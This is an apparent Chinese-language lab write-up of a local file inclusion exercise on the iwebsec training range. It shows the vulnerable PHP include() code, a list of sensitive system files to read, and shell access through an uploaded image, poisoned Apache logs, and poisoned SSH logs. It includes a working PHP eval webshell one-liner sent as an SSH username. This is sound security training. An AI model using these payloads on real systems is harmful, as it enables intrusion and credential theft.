当前位置: 首页 > news >正文

文件包含漏洞1 | iwebsec

文章目录

      • 00-文件包含漏洞原理
        • 环境
      • 01-本地文件包含
        • 读取敏感文件信息
        • 配合文件上传getshell
        • 配合日志文件getshell
        • 配合SSH日志
        • 配合运行环境

00-文件包含漏洞原理

为什么要文件包含?

在这里插入图片描述

为什么会有文件包含漏洞?

因为将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性, 从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含函数的参数没有经过过滤,可以被攻击者控制,包含其他恶意文件,导致了执行恶意的代码。

什么是文件包含漏洞?

PHP的文件包含可以直接执行包含文件的代码,包含的文件格式不受限制(无论是txt、图片文件还是远程URL,全都作为PHP代码执行),只要能正常执行即可。文件包含函数有include()include_once()require()require_once(),它们之间的区别在于include()include_once()在文件包含时即使遇到错误,下面的代码仍继续会执行;而require()require_once()则会直接报错退出程序。【摘自《代码审计——企业级Web代码安全架构》】

环境

靶场:iwebsec,前面的文章有搭建过程。

在这里插入图片描述

01-本地文件包含

本地文件包含(local file include,LFI)是指只能包含在本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用的地方。

本关卡源码如下:

<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);//对$filename包含,没有进行限制}else{exit();}
?>

读取敏感文件信息

/etc/passwd(系统用户数据库文件)
/etc/group(组的数据库文件)
/etc/gshadow(存放密码)
/etc/shadow(存放密码)
/etc/profile(系统环境)
/etc/crontab(crontab配置文件)
/etc/httpd/conf/httpd.conf(Apache配置信息)
/etc/my.conf(MYSQL配置信息)
/usr/etc/php.ini(PHP配置信息)  

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

配合文件上传getshell

假设shell.png这个文件是我们通过文件上传点上传的,但是无法解析,我们可以利用这里的文件包含漏洞解析shell.png,执行php代码。

在这里插入图片描述

访问shell.png,执行成功

在这里插入图片描述

蚁剑连接

在这里插入图片描述

类似地,可以上传其他后缀的文件,同样也可以解析

在这里插入图片描述

在这里插入图片描述

配合日志文件getshell

参考文章

在这里插入图片描述

浏览器发起请求

在这里插入图片描述

查看日志文件

apache+Linux日志默认路径:/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log

在这里插入图片描述

一句话木马被编码了,用burpsuite发包。

在这里插入图片描述

网页源代码查看日志【方便看一点】

在这里插入图片描述

蚁剑连接

在这里插入图片描述

配合SSH日志

在这里插入图片描述

在这里插入图片描述

这个靶场环境不可以,我在本机自己测试。在web服务器的根目录新建1.php文件,写入如下代码,即01环境的代码。

在这里插入图片描述

日志文件在/var/log/secure,检查文件权限

在这里插入图片描述

修改权限

在这里插入图片描述

成功包含

在这里插入图片描述

写入一句话木马或者phpinfo()

ssh '<?php @eval($_POST[1]);?>'@8.134.148.36
ssh '<?php phpinfo();?>'@8.134.148.36

在这里插入图片描述

在这里插入图片描述

蚁剑连接

在这里插入图片描述

在这里插入图片描述

复现完成,把权限修改回去

在这里插入图片描述

在这里插入图片描述

配合运行环境

在这里插入图片描述

访问,没有权限

在这里插入图片描述

只有文件所有者具有读权限

在这里插入图片描述

下次遇到类似环境再试试。

在这里插入图片描述

剩下的留在下个文章写。

在这里插入图片描述

http://www.lryc.cn/news/31865.html

相关文章:

  • 基于MindAR实现的网页端WebAR图片识别叠加动作模型追踪功能(含源码)
  • ssh 远程连接方式总结
  • springboot+mybatisPlus简单实现数据分页显示
  • axios的基本使用
  • 核心 Android 调节音量的过程
  • 用C/C++制作一个简单的俄罗斯方块小游戏
  • 使用免费负载生成器swingbench对oracle数据库进行压力测试(测试Oracle的功能或评估性能)
  • 【预告】ORACLE Primavera P6 v22.12 虚拟机发布
  • 机器学习100天(四十):040 线性支持向量机-公式推导
  • 失败经验之震荡玩家往往死于趋势市场
  • 应用层与传输层~
  • IO文件操作
  • 【构建工具】webpack 3、4 升级指南,摆脱低版本的困扰
  • Javaweb第一个项目——实现简单的登陆功能
  • OpenKruise 开发者不容错过的带薪实习机会!马上加入 LFX Mentorship 计划
  • 《c++ primer笔记》第八章 IO库
  • web开发 用idea创建一个新项目
  • 【FMCW 03】测速
  • ERP(企业资源管理)概述
  • 深入理解java虚拟机精华总结:性能监控和故障处理工具、类加载机制
  • 推荐系统与推荐算法
  • socket 编程实战(编写客户端程序 )
  • “巨亏成名”的魔鬼交易员,你知道几个?
  • 1380:分糖果(candy)
  • 数据挖掘(2.1)--数据预处理
  • PMP考前冲刺3.06 | 2023新征程,一举拿证
  • buuctf-pwn write-ups (11)
  • 【VTK】VTK隐藏vtkOutputWindow窗口的正确方法
  • 顺序表以及链表的应用及区别(包含OJ讲解)
  • JVM简介